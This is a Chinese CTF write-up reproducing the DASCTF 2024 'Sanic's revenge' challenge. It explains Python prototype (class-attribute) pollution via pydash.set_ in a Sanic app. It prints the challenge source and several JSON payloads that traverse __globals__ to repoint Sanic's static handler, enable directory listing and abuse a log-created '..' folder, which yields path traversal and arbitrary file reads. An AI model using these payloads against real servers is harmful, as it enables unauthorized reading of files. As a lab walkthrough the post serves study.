复现这个之前先要学习下python的原型链污染(未学┭┮﹏┭┮)
之前学了Nodejs原型链污染,Python原型链污染和Nodejs原型链污染的根本原理一样,Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。
先看给的源码
from sanic import Sanic import os from sanic.response import text, html import sys import random import pydash class Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/*****secret********" ) async def secret (request ): secret='**************************' return text("can you find my route name ???" +secret) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir = create_log_dir(6 ) log_dir_bak = log_dir + ".." log_file = "/tmp/" + log_dir + "/access.log" log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak" log = 'key: ' + str (key) + '|' + 'value: ' + str (value); os.system("mkdir /tmp/" + log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" + log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
我们看到Pollute 路由这段
@app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir = create_log_dir(6 ) log_dir_bak = log_dir + ".." log_file = "/tmp/" + log_dir + "/access.log" log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak" log = 'key: ' + str (key) + '|' + 'value: ' + str (value); os.system("mkdir /tmp/" + log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" + log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" )
这是一个处理 /pollute
路径的异步函数 POLLUTE
,支持 GET
和 POST
方法。
解析请求的 JSON 数据,获取 key
和 value
。
如果条件满足:
创建一个 Pollute
实例。
使用 pydash.set_
函数 设置 pollute
实例的属性。
返回 “success” 文本。
这个路由还设置了一个waf,如果触发了waf,就会将key和value的值写入/tmp目录下的文件中
payload:
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" : "/" }
这段json代码就是将file_or_directory设置为”/“我的基础还是很薄弱所以我们分析这个payload
__class__
: 访问当前对象的类。
__init__
: 访问类的构造函数。
__globals__
: 访问构造函数的全局命名空间,这允许攻击者访问应用的全局变量。
app.router.name_index.__mp_main__
: 试图访问Sanic应用的路由器中的name_index
,其中__mp_main__
表示模块的名称。
.static.handler.keywords.file_or_directory
: 最终目标是访问并修改静态文件处理器的file_or_directory
属性。
"/"
: 设置的值为根目录。(补充 :
file_or_directory
这个属性的作用通常是用于指示文件处理器处理的是文件还是目录。攻击者试图通过修改 file_or_directory
属性,将其值设置为 "/"
,可能导致服务器将根目录作为静态文件目录,从而暴露服务器上的敏感文件和目录。这种攻击利用了对关键属性缺乏适当验证和保护的漏洞。 )就可以实现任意文件读取
回显success,表面成功了
接着我们访问/static/proc/1/cmdline
inux系统中的/proc
文件系统的路径,并通过应用的静态文件服务暴露出来
**/proc/1/cmdline
**:这是一个文件,包含启动进程ID为1的进程时使用的命令行参数。
显示当前的启动路径为/bin/bash/start.sh
我们继续打开这个路径
发现运行的py脚本
给了丢失的源码
from sanic import Sanicimport osfrom sanic.response import text, htmlimport sysimport randomimport pydashclass Pollute : def __init__ (self ): pass def create_log_dir (n ): ret = "" for i in range (n): num = random.randint(0 , 9 ) letter = chr (random.randint(97 , 122 )) Letter = chr (random.randint(65 , 90 )) s = str (random.choice([num, letter, Letter])) ret += s return ret app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/Wa58a1qEQ59857qQRPPQ" ) async def secret (request ): with open ("/h111int" ,'r' ) as f: hint=f.read() return text(hint) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/adminLook" , methods=['GET' ] ) async def AdminLook (request ): log_dir=os.popen('ls /tmp -al' ).read(); return text(log_dir) @app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir=create_log_dir(6 ) log_dir_bak=log_dir+".." log_file="/tmp/" +log_dir+"/access.log" log_file_bak="/tmp/" +log_dir_bak+"/access.log.bak" log='key: ' +str (key)+'|' +'value: ' +str (value); os.system("mkdir /tmp/" +log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" +log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
@app.route("/Wa58a1qEQ59857qQRPPQ" ) async def secret (request ): with open ("/h111int" ,'r' ) as f: hint=f.read() return text(hint)
他这个给了secret的路径
访问看看
他说flag在app路由下,但是不知道他的名字 让我们找
@app.route("/adminLook" , methods=['GET' ] ) async def AdminLook (request ):
还给了/adminLook的路由
我们传入恶意的key 比如part 这一步很重要到后面来解释
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.parts" , "value" : "/" }
传入后我们发现多了两个文件
有点不一样是因为靶机过期了重新打开了
我们先切换到/tmp目录
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" : "/tmp" }
#对base属性进行污染
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base" , "value" : "static/4KDN4B" }
#打开目录功能
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view" , "value" : 1 }
访问static/4KDN4B../
最后得到flag的名字直接访问就好
在把静态文件目录换成为根目录
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" : "/" }
之前知道flag在app路由下
/static/app/45W698WqtsgQT1_flag
接下来解释上面遗留的问题
那么为什么要恶意操作被后台日志记录呢?
这里复现完了我先把大佬的wp链接放出来,因为我水平有限,基本上就是照着大佬wp来进行复现
有点为了复现而复现的丑陋感,到后面我会慢慢补好基础的┭┮﹏┭┮
https://www.cnblogs.com/gxngxngxn/p/18290489
https://dawnrisingdong.github.io/2024/07/22/DASCTF-2024%E6%9A%91%E6%9C%9F%E6%8C%91%E6%88%98%E8%B5%9B-Sanic-s-revenge%E5%A4%8D%E7%8E%B0/#%E8%A7%A3%E9%A2%98
https://blog.csdn.net/2301_79700060/article/details/140632405
https://blog.csdn.net/qq_66013948/article/details/140582003?spm=1001.2014.3001.5502
那么我们从
[gxngxngxn]
大佬的文章来解释下
这套题目其实是ciscn2024 改的一道题目,先放链接
https://www.cnblogs.com/gxngxngxn/p/18205235
国赛 sanic的源码
from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/login" ) async def login (request ): user = request.cookies.get("user" ) if user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" ) return text("login fail" ) @app.route("/src" ) async def src (request ): return text(open (__file__).read()) @app.route("/admin" , methods=['GET' , 'POST' ] ) async def admin (request ): if request.ctx.session.get('admin' ) == True : key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" ) return text("forbidden" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
/admin 路由那块就是编码成八进制可以进入/login,而且需要绕过waf大佬文章都讲了
直接看sanic那块污染链寻找
我们可以污染__file__然后进行任意文件读取,但是我们不知道flag的位置所以可以开启目录功能,有关的两个函数
directory_view directory_handler
只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了
这个框架可以通过**app.router.name_index[‘xxxxx’]**来获取注册的路由
获得这个路由之后我们需要调用到DirectoryHandler里
我们可以用name_index 方法发现可以从handler入手,一直可以获取到DirectoryHandler中的directory和directory_view
从而实现污染达到列目录的目的
然后接下里就是污染directory
但是directory是一个对象,而它之前的值就是由其中的parts 属性决定的,但是由于这个属性是一个tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的?(这里我们需要知道tuple(元组:元组是 Python 中的一种数据结构,用于存储多个元素。与列表类似,元组也是一个序列,但与列表不同的是,元组是不可变的。这意味着元组一旦创建,其内容不能修改))
所以不能直接污染directory
但在DirectoryHandler类中有Directory属性可以从这入手进入path对象parts的值最后是给了_parts这个属性发现是list
最终污染成/就成功了
到时候要去复现下国赛ciscn毕竟那天坐了一天牢
到这还没完还没
我们继续看DirectoryHandler类中handle方法中的逻辑:
当我们开启列目录功能后,就会进入
return self ._index( self .directory / current, path, request.app.debug )
解决上面遗留的问题就是从这开始发现这个目录路径是由Parts+current拼接出来的
self .directory / current,path, request.app .debug
目的就是让current变成.. 实现目录穿越
看下
current = path.strip("/" )[len (self .base) :].strip("/" )
从给定的路径中去除基本路径(`self.base`),然后返回剩余路径。首先,`path.strip("/")` 去除路径两端的斜杠,然后`[len(self.base):]` 取基本路径之后的部分,最后`.strip("/")` 再次去除剩余路径两端的斜杠 #可以看到current的值就是由path和base两个值决定的
self.base是可控的
那么我们就得构造current的值
关键就在于下面
所以实现目录穿越只要让path的值为static/一个目录/ current值为..就好了
但是这个目录怎么来?
file_or_directory
可以改变静态文件的默认路径 我们只需要通过这个改变到其他目录,该目录下存在其他目录不就好了
它可以改变static的默认路径
这就是上面为什么需要传入恶意的key,目的就是让日志记录,获得一个报错的目录
继续改变目录位置(上面改的是/tmp)然后修改其base的值为自己报错的目录
就看实现目录穿越了
ile_or_directory只是改变它识别的路径,并不会改变
self.directory中parts的值,这个列目录的值依旧是默认的